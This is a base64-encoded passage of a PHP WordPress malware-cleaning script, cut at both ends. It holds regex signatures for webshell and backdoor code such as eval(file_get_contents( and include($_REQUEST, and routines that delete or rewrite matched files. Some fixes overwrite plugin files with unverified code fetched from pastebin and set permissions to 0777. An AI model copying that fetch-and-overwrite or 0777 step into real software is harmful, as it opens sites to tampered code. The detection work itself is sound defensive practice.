luY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJFteXD9cPFw+XC5cKVwqXC1cLFwmXHJcblx0XGZcdj07Olx8XH1cK1wvXSs/XChcJ1wnL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ed3AtYmxvZ1wucGhwJC8nLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL1wkdXNlcl9hZ2VudF90b19maWx0ZXIgPSBhcnJheVwoL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvXCR3cF9rc2VzX2RhdGEvaW1zJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9JbmZpbml0ZVdQIEFkbWluIHBhbmVsL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvXCRbYS16QS1aX1x4ODAtXHhmZl1bYS16QS1aMC05X1x4ODAtXHhmZl0qXHMqPVxzKihcJ3wiKVwkKFwnfCIpL20nLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL21lcm5hXC5jYy9tJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJG9Pb28gPSBcJHdwZGIvbScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvaW5jbHVkZVwoXCRfUkVRVUVTVC9tJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJGF1dGhfcGFzc1xzKj1ccypcIlthLWZBLUYwLTldezMyfVwiOy9tJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88YnJcLz5TZWN1cml0eSBDb2RlOiA8YnJcLz48aW5wdXQgbmFtZT1cInNlY3VyaXR5X2NvZGVcIiB2YWx1ZT1cIlwiXC8+PGJyXC8+L20nLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKGZpbGVfZ2V0X2NvbnRlbnRzXCgvbScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKLyogZW5kIG1hbnVhbCBzZWN0aW9uICovCi8qIHN0YXJ0IHJlcGxhY2Ugc2VjdGlvbiAqLwphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9eZG5kLXVwbG9hZC1jZjdcLnBocCQvJywKICAgICJjb2RlIiA9PiAnL3dwY2Y3X2VucXVldWVfc2NyaXB0cy9pVScsCiAgICAiYWN0aW9uIiA9PiAncmVwbGFjZScsCiAgICAidXJsIiA9PiAnaHR0cHM6Ly9wbHVnaW5zLnN2bi53b3JkcHJlc3Mub3JnL2RyYWctYW5kLWRyb3AtbXVsdGlwbGUtZmlsZS11cGxvYWQtY29udGFjdC1mb3JtLTcvdGFncy8xLjMuMy4zLjIvaW5jL2RuZC11cGxvYWQtY2Y3LnBocCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXnVzZXItcm9sZVwucGhwJC8nLAogICAgImNvZGUiID0+ICcvd3BwYl91c2VyZGF0YV9hZGRfdXNlcl9yb2xlL2lVJywKICAgICJhY3Rpb24iID0+ICdyZXBsYWNlJywKICAgICJ1cmwiID0+ICdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvdjJpYkF6RkgnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15BRE5JX1VwbG9hZGVyXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy9BRE5JX1VwbG9hZGVyL2lVJywKICAgICJhY3Rpb24iID0+ICdyZXBsYWNlJywKICAgICJ1cmwiID0+ICdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvMnloQ3dDZmknCiksCgoKCi8qIGVuZCByZXBsYWNlIHNlY3Rpb24gKi8gCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9zaG9ydGNvZGVzXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL3JldHVyblxzKlwkd3BjZjdfc2hvcnRjb2RlX21hbmFnZXItPmFkZF9zaG9ydGNvZGVcKFxzKlwkdGFnLFxzKlwkZnVuYyxccypcJGhhc19uYW1lXHMqXCk7L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnc3JlcGxhY2UnLAogICAgIm5ld2NvZGUiID0+ICdpZiAobWV0aG9kX2V4aXN0cygkd3BjZjdfc2hvcnRjb2RlX21hbmFnZXIsXCdhZGRfc2hvcnRjb2RlXCcpKXtyZXR1cm4gJHdwY2Y3X3Nob3J0Y29kZV9tYW5hZ2VyLT5hZGRfc2hvcnRjb2RlKCR0YWcsICRmdW5jLCAkaGFzX25hbWUgKTt9JywKKSwKCik7CgoKJHBhcmFub2lkID0gYXJyYXkoCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvXCRbXlw/XDxcPlwuXClcKlwtXCxcJlxyXG5cdFxmXHY9OzpcfFx9XCtcL10rP1woW15cKV0vaW1zJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCgopOwoKZWNobyBkYXRlKCJIOmk6cyIpOwplY2hvICI8YnI+XG4iOwoKZnVuY3Rpb24gc3RycG9zYSgkaGF5c3RhY2ssICRuZWVkbGUsICRvZmZzZXQ9MCkgewogICAgaWYoIWlzX2FycmF5KCRuZWVkbGUpKSB7JG5lZWRsZSA9IGFycmF5KCRuZWVkbGUpO30KICAgICAgICBmb3JlYWNoKCRuZWVkbGUgYXMgJHF1ZXJ5KSB7CiAgICAgICAgICAgIGlmKHN0cnBvcygkaGF5c3RhY2ssICRxdWVyeSwgJG9mZnNldCkgIT09IGZhbHNlKSByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIERlYWRMZXR0ZXIoKXsKICAgICAgIGRpZSgiPHNjcmlwdD5hbGVydCgnRW5kIHdvcmsnKTs8L3NjcmlwdD4iKTsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3RyaXBvcycpKSB7CiAgICBmdW5jdGlvbiBzdHJpcG9zKCRoYXlzdGFjaywgJG5lZWRsZSwgJG9mZnNldCA9IDApIHsKICAgIHJldHVybiBzdHJwb3Moc3RydG9sb3dlcigkaGF5c3RhY2spLCBzdHJ0b2xvd2VyKCRuZWVkbGUpLCAkb2Zmc2V0KTsKICAgIH0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkgewogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJGZpbGVfbmFtZSwgJGRhdGEpIHsKICAgICAgICAkZiA9IGZvcGVuKCRmaWxlX25hbWUsInciKTsKICAgICAgICBmcHV0cygkZiwkZGF0YSk7CiAgICAgICAgZmNsb3NlKCRmKTsKICAgIH0KfSAgIAoKZnVuY3Rpb24gQ2hlY2soJHRleHQpewoJJHBvcyA9IHN0cmlwb3MoJHRleHQsICd6ZW5kJyk7CgkkcG9zMiA9IHN0cmlwb3MoJHRleHQsICdpb25jdWJlJyk7CglpZiAoKCRwb3MgPT09IGZhbHNlKSAmJiAoJHBvczIgPT09IGZhbHNlKSl7IHJldHVybiB0cnVlO30KCXJldHVybiBmYWxzZTsKfQoKCmZ1bmN0aW9uIEdldF9UYXNrX051bWJlcigpewogICAgJGNvdW50X2ZpbGUgPSAnX3Rhc2tfbic7CiAgICBpZiAoZmlsZV9leGlzdHMoJGNvdW50X2ZpbGUpKXsKICAgICAgICAkY291bnQgPSAoaW50KWZpbGVfZ2V0X2NvbnRlbnRzKCRjb3VudF9maWxlKTsKICAgICAgICAkbmV3X2NvdW50ID0gJGNvdW50KzE7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGNvdW50X2ZpbGUsJG5ld19jb3VudCk7CiAgICAgICAgcmV0dXJuICRjb3VudDsKICAgIH0gZWxzZSB7CiAgICAJZmlsZV9wdXRfY29udGVudHMoJGNvdW50X2ZpbGUsJzEnKTsKICAgICAgICByZXR1cm4gMDsKICAgIH0KfQoKZnVuY3Rpb24gR2V0X1Rhc2soKXsKICAgICR0YXNrX2ZpbGUgPSAnX3Rhc2snOwogICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgIGlmIChmaWxlX2V4aXN0cygkdGFza19maWxlKSl7CiAgICAgICAgJGNvdW50ID0gR2V0X1Rhc2tfTnVtYmVyKCk7CiAgICAgICAgZWNobyAiVGFzayBudW06ICRjb3VudCA8YnI+XG4iOwogICAgICAgICRjb3VudGVyID0gMDsKICAgICAgICAkaGFuZGxlID0gQGZvcGVuKCR0YXNrX2ZpbGUsICJyIik7CiAgICAgICAgaWYgKCRoYW5kbGUpIHsKICAgICAgICAgICAgd2hpbGUgKCgkYnVmZmVyID0gZmdldHMoJGhhbmRsZSwgNDA5NikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgaWYoJGNvdW50ZXIgPT0gJGNvdW50KSB7cmV0dXJuIHRyaW0oJGJ1ZmZlcik7fQogICAgICAgICAgICAkY291bnRlcisrOwogICAgICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgIH0KICAgIAogICAgfSAKICAgIHJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBDaGVja19CYWRfRGlyKCRmbmFtZSl7CiAgICAKICAgICRwYXJ0W10gPSAnY2FjaGUnOwogICAgJHBhcnRbXSA9ICd0cmFzaCc7CiAgICAkcGFydFtdID0gJ3NuYXBzaG90JzsKICAgICRwYXJ0W10gPSAnLy5naXQnOwogICAgJHBhcnRbXSA9ICdsb3N0K2ZvdW5kJzsKICAgICRwYXJ0W10gPSAnL2Nncm91cHNfJzsKICAgICRwYXJ0W10gPSAnL3dmbG9ncyc7CiAgICAkcGFydFtdID0gJy9hd3N0YXRzJzsKCiAgICBpZihpc3NldCgkX0NPT0tJRVsnZmFzdF93b3JrZXInXSkpewogICAgICAgICRwYXJ0W10gPSAnd3AtYWRtaW4nOwogICAgICAgICRwYXJ0W10gPSAnd3AtY29udGVudCc7CiAgICAgICAgJHBhcnRbXSA9ICd3cC1pbmNsdWRlcyc7CiAgICAgICAgJHBhcnRbXSA9ICdjZ2ktYmluJzsKICAgICAgICAkcGFydFtdID0gJ21haWwnOwogICAgfQogICAgCiAgICAkZnVsbFtdID0gJy9wcm9jJzsKICAgICRmdWxsW10gPSAnL3Vzci9saWInOwogICAgJGZ1bGxbXSA9ICcvdG1wJzsKICAgICRmdWxsW10gPSAnL2V0Yyc7CiAgICAkZnVsbFtdID0gJy9saWInOwogICAgJGZ1bGxbXSA9ICcvbGliNjQnOwogICAgJGZ1bGxbXSA9ICcvYmluJzsKICAgICRmdWxsW10gPSAnL3NiaW4nOwogICAgJGZ1bGxbXSA9ICcvdXNyL2V0Yyc7CiAgICAkZnVsbFtdID0gJy9ib290JzsKICAgICRmdWxsW10gPSAnL2Rldic7CiAgICAkZnVsbFtdID0gJy9vcHQnOwogICAgJGZ1bGxbXSA9ICcvc2VsaW51eCc7CiAgICAkZnVsbFtdID0gJy9iaW4nOwogICAgJGZ1bGxbXSA9ICcvdmFyL2xvZyc7CiAgICAkZnVsbFtdID0gJy92YXIvY2FjaGUnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2RvYyc7CiAgICAkZnVsbFtdID0gJy91c3IvWDExUjYnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2dhbWVzJzsKICAgICRmdWxsW10gPSAnL3Vzci9zcmMnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2luY2x1ZGUnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2tlcmJlcm9zJzsKICAgICRmdWxsW10gPSAnL3Zhci9zcG9vbCc7CiAgICAkZnVsbFtdID0gJy92YXIvcnVuJzsKICAgICRmdWxsW10gPSAnL3Zhci9sb2NrJzsKICAgICRmdWxsW10gPSAnL3Vzci9tYW4nOwogICAgJGZ1bGxbXSA9ICcvdmFyL2RiJzsKICAgICRmdWxsW10gPSAnL3Zhci9sb2NhbCc7CiAgICAkZnVsbFtdID0gJy92YXIvbWFpbCc7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUvZG9jJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS9tYW4nOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL1gxMSc7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUvbG9jYWxlJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS9wZXJsJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS92aW0nOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL2ljb25zJzsKICAgICRmdWxsW10gPSAnL3N5cyc7CiAgICAkZnVsbFtdID0gJy91c3IvbG9jYWwvbGliNjQnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2xvY2FsL3NoYXJlL3Blcmw1JzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS90ZXhtZic7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUvem9uZWluZm8nOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL3RleG1mJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS90aGVtZXMnOwogICAgJGZ1bGxbXSA9ICcvRkFLRUZTJzsKICAgICRmdWxsW10gPSAnL3Vzci9sb2NhbC9jcGFuZWwnOwogICAgJGZ1bGxbXSA9ICcvdXNyL3BvcnRhZ2UnOwogICAgJGZ1bGxbXSA9ICcvbW9kX3BhZ2VzcGVlZC9jYWNoZSc7CiAgICAkZnVsbFtdID0gJy91c3IvcG9ydHMnOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL3JpJzsKICAgICRmdWxsW10gPSAnL2hvbWUvbWFpbHF1b3RhJzsKICAgICRmdWxsW10gPSAnL3Zhci90bXAnOwogICAgJGZ1bGxbXSA9ICcvdmFyL3Byb2ZpbGVzJzsKICAgICRmdWxsW10gPSAnL3Zhci9vcHQnOwogICAgJGZ1bGxbXSA9ICcvdmFyL3lwJzsKICAgICRmdWxsW10gPSAnL3Zhci9uZXRlbmJlcmcnOwogICAgJGZ1bGxbXSA9ICcvdmFyL2VtcHR5JzsKICAgICRmdWxsW10gPSAnL3Zhci9hY2NvdW50JzsKICAgICRmdWxsW10gPSAnL3Zhci9jcmFzaCc7CiAgICAkZnVsbFtdID0gJy92YXIvY3ZzJzsKICAgICRmdWxsW10gPSAnL3Zhci9hc2wnOwogICAgJGZ1bGxbXSA9ICcvdmFyL25hbWVkJzsKICAgICRmdWxsW10gPSAnL3Zhci9saWInOwogICAgJGZ1bGxbXSA9ICcvdmFyL2dhbWVzJzsKICAgICRmdWxsW10gPSAnL3Zhci9ob3N0Z2F0b3InOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NiaW4nOwogICAgJGZ1bGxbXSA9ICcvdXNyL2Jpbic7CiAgICAkZnVsbFtdID0gJy91c3IvbGliZXhlYyc7CiAgICAkZnVsbFtdID0gJy91c3IvcGhwNCc7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2xpYjY0JzsKICAgICRmdWxsW10gPSAnL3Vzci9sb2NhbC9saWInOwoKICAgIGlmIChzdHJwb3NhKCRmbmFtZSwgJHBhcnQpKXsKICAgIHJldHVybiB0cnVlOwogICAgfQogICAgaWYgKGluX2FycmF5KCRmbmFtZSwkZnVsbCkpewogICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIEFkZF9UYXNrKCRkaXIpewoJZWNobyAiQWRkICRkaXIgPGJyPlxuIjsKICAgICR0YXNrX2ZpbGUgPSAnX3Rhc2snOwogICAgJGRpciA9IHRyaW0oJGRpcik7CiAgICAkZGlyID0gc3RyX3JlcGxhY2UoJy8vJywnLycsJGRpcik7CiAgICBpZiAoc3RybGVuKCRkaXIpID4gMil7CiAgICAgICAgJHlwb3MgPSBzdHJsZW4oJGRpciktMTsKICAgICAgICBpZigkZGlyWyR5cG9zXSA9PSAnLycpewogICAgICAgICAgICAkZGlyID0gc3Vic3RyKCRkaXIsMCwkeXBvcyk7CiAgICAgICAgfQogICAgfQogICAgaWYgKCFAaXNfcmVhZGFibGUoJGRpcikpe3JldHVybiB0cnVlO30KICAgIGlmIChDaGVja19CYWRfRGlyKCRkaXIpKXtyZXR1cm4gdHJ1ZTt9CiAKICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICBpZiAoZmlsZV9leGlzdHMoJHRhc2tfZmlsZSkpewogICAgICAgICRoYW5kbGUgPSBAZm9wZW4oJHRhc2tfZmlsZSwgInIiKTsKICAgICAgICBpZiAoJGhhbmRsZSkgewogICAgICAgICAgICB3aGlsZSAoKCRidWZmZXIgPSBmZ2V0cygkaGFuZGxlLCA0MDk2KSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkYnVmZmVyID0gdHJpbSgkYnVmZmVyKTsKICAgICAgICAgICAgICAgIGlmKCRkaXIgPT0gJGJ1ZmZlcil7cmV0dXJuIGZhbHNlO30KICAgICAgICAgICAgfQogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgfQogICAgfSAKCSRmID0gZm9wZW4oJHRhc2tfZmlsZSwiYSIpOwoJZnB1dHMoJGYsIiRkaXIiLiBQSFBfRU9MKTsKCWZjbG9zZSgkZik7Cn0KCmZ1bmN0aW9uIGxvZ193cCgkZmlsZSl7CiAgICAkZiA9IGZvcGVuKCd3cF9sb2cnLCAiYSIpOwogICAgZnB1dHMoJGYsIiRmaWxlXG4iKTsKICAgIGZjbG9zZSgkZik7Cn0KCmZ1bmN0aW9uIGdldF91cmwoJHVybCl7CiRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDIwKTsKJHVsdCA9IGN1cmxfZXhlYygkY2gpOwppZigkdWx0KXtyZXR1cm4gJHVsdDt9IGVsc2UgewokdG1wID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CnJldHVybiAkdG1wOyAgCn0KfQoKZnVuY3Rpb24gd3JpdGVfbG9nKCR0ZXh0KXsKCiAgICAkZiA9IGZvcGVuKCdiaWdfbG9nJywiYSIpOwogICAgZnB1dHMoJGYsIiR0ZXh0XG4iKTsKICAgIGZjbG9zZSgkZik7Cn0KCmZ1bmN0aW9uIG1hbnVhbF9sb2coJGZpbGUsJGNvZGUpewogICAgJGNvZGUgPSB0cmltKCRjb2RlKTsKICAgICRmID0gZm9wZW4oJ21hbnVhbF9sb2cnLCAiYSIpOwogICAgZnB1dHMoJGYsIiRmaWxlPT09PT0kY29kZVxuIik7CiAgICBmY2xvc2UoJGYpOwp9CgpmdW5jdGlvbiBuZWVkX2NoZWNrKCRmaWxlbmFtZSl7CiAgICBnbG9iYWwgJHBhdHRlcm5zOwoKICAgIGZvcmVhY2ggKCRwYXR0ZXJucyBhcyAkdCkgewogICAgICAgIGlmKHByZWdfbWF0Y2goJHRbJ2ZpbGVuYW1lJ10sICRmaWxlbmFtZSkpewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIG1vZGlmeSgkZmlsZSl7CiAgICAKLy8gICAgZ2xvYmFsICRleGNlcHRpb25zOwogICAgZ2xvYmFsICRwYXR0ZXJucywgJHBhcmFub2lkOwoKICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsKCiAgICAkcGFyYSA9IGZhbHNlOwoKICAgIGlmKGlzc2V0KCRfQ09PS0lFWydwYXJhbm9pZF93b3JrZXInXSkpewogICAgICAgICRwYXJhID0gdHJ1ZTsKICAgIH0KCiAgICBpZighbmVlZF9jaGVjaygkZmlsZW5hbWUpKXsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHRtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKCiAgICAgICAgaWYoJHBhcmEpewogICAgICAgICAgICAkcGFyYW5vaWRfdG1wID0gcHJlZ19yZXBsYWNlKCd+XC9cKi4qP1wqXC9+aXNtJywgJycsICR0bXApOwogICAgICAgICAgICAkcGFyYW5vaWRfdG1wID0gcHJlZ19yZXBsYWNlKCd+Ly9bXlxyXG5dKn5pcycsICcnLCAkcGFyYW5vaWRfdG1wKTsKICAgICAgICB9ICAgCiAgICB9CgogICAgZm9yZWFjaCAoJHBhdHRlcm5zIGFzICR0KSB7IAogICAgICAgIGlmKHByZWdfbWF0Y2goJHRbJ2ZpbGVuYW1lJ10sICRmaWxlbmFtZSkpeyAgICAgICAgICAgCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJHRbJ2NvZGUnXSwgJHRtcCkpIHsKCgogICAgICAgICAgICBzd2l0Y2ggKCR0WydhY3Rpb24nXSkgewogICAgICAgICAgICAKCiAgICAgICAgICAgIGNhc2UgImN1dCI6CiAgICAgICAgICAgICAgICBjb3B5KCRmaWxlLCRmaWxlIC4gJy5zdXNwZWN0ZWQnKTsKICAgICAgICAgICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJHRbJ2NvZGUnXSwgJycsICR0bXApOwogICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkdG1wKSA9PT0gZmFsc2UpewoKICAgICAgICAgICAgICAgICAgICBpZihjaG1vZCgkZmlsZSwwNzc3KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hbnVhbF9sb2coJGZpbGUsJ3dyaXRlIGVycm9yIGFmdGVyIGN1dCcpOyAgICAKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG1hbnVhbF9sb2coJGZpbGUsJ3dyaXRlIGVycm9yIGFmdGVyIGN1dCcpOyAgICAgCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdyaXRlX2xvZygiJGZpbGUgY3V0Iik7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICJkZWxldGUiOgogICAgICAgICAgICAgICAgY29weSgkZmlsZSwkZmlsZSAuICcuc3VzcGVjdGVkJyk7CiAgICAgICAgICAgICAgICBpZih1bmxpbmsoJGZpbGUpID09PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZGlybmFtZSgkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgaWYoY2htb2QoJGZkLDA3NzcpKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYodW5saW5rKCRmaWxlKSA9PT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgZGVsZXRlJyk7IAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgZGVsZXRlJyk7ICAgIAogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIGRlbGV0ZSIpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICJtYW51YWwiOgogICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwgJHRbJ2NvZGUnXSk7CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIG1hbnVhbCIpOwogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICJyZXBsYWNlIjoKICAgICAgICAgICAgICAgIGNvcHkoJGZpbGUsJGZpbGUgLiAnLnN1c3BlY3RlZCcpOwogICAgICAgICAgICAgICAgJHRtcCA9IGdldF91cmwoJHRbJ3VybCddKTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKCiAgICAgICAgICAgICAgICAgICAgaWYoY2htb2QoJGZpbGUsMDc3NykpewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICR0bXApID09PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYW51YWxfbG9nKCRmaWxlLCd3cml0ZSBlcnJvciBhZnRlciByZXBsYWNlJyk7ICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgcmVwbGFjZScpOyAgICAgCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdyaXRlX2xvZygiJGZpbGUgcmVwbGFjZSIpOwogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICJjbGVhbiI6CiAgICAgICAgICAgICAgICBjb3B5KCRmaWxlLCRmaWxlIC4gJy5zdXNwZWN0ZWQnKTsKICAgICAgICAgICAgICAgICR0bXAgPSAnPD9waHAgPz4nOwogICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkdG1wKSA9PT0gZmFsc2UpewoKICAgICAgICAgICAgICAgICAgICBpZihjaG1vZCgkZmlsZSwwNzc3KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hbnVhbF9sb2coJGZpbGUsJ3dyaXRlIGVycm9yIGFmdGVyIGNsZWFuJyk7ICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgY2xlYW4nKTsgICAgIAogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIGNsZWFuIik7CiAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgInNyZXBsYWNlIjoKICAgICAgICAgICAgICAgIGNvcHkoJGZpbGUsJGZpbGUgLiAnLnN1c3BlY3RlZCcpOwogICAgICAgICAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgkdFsnY29kZSddLCAkdFsnbmV3Y29kZSddLCAkdG1wKTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICBtYW51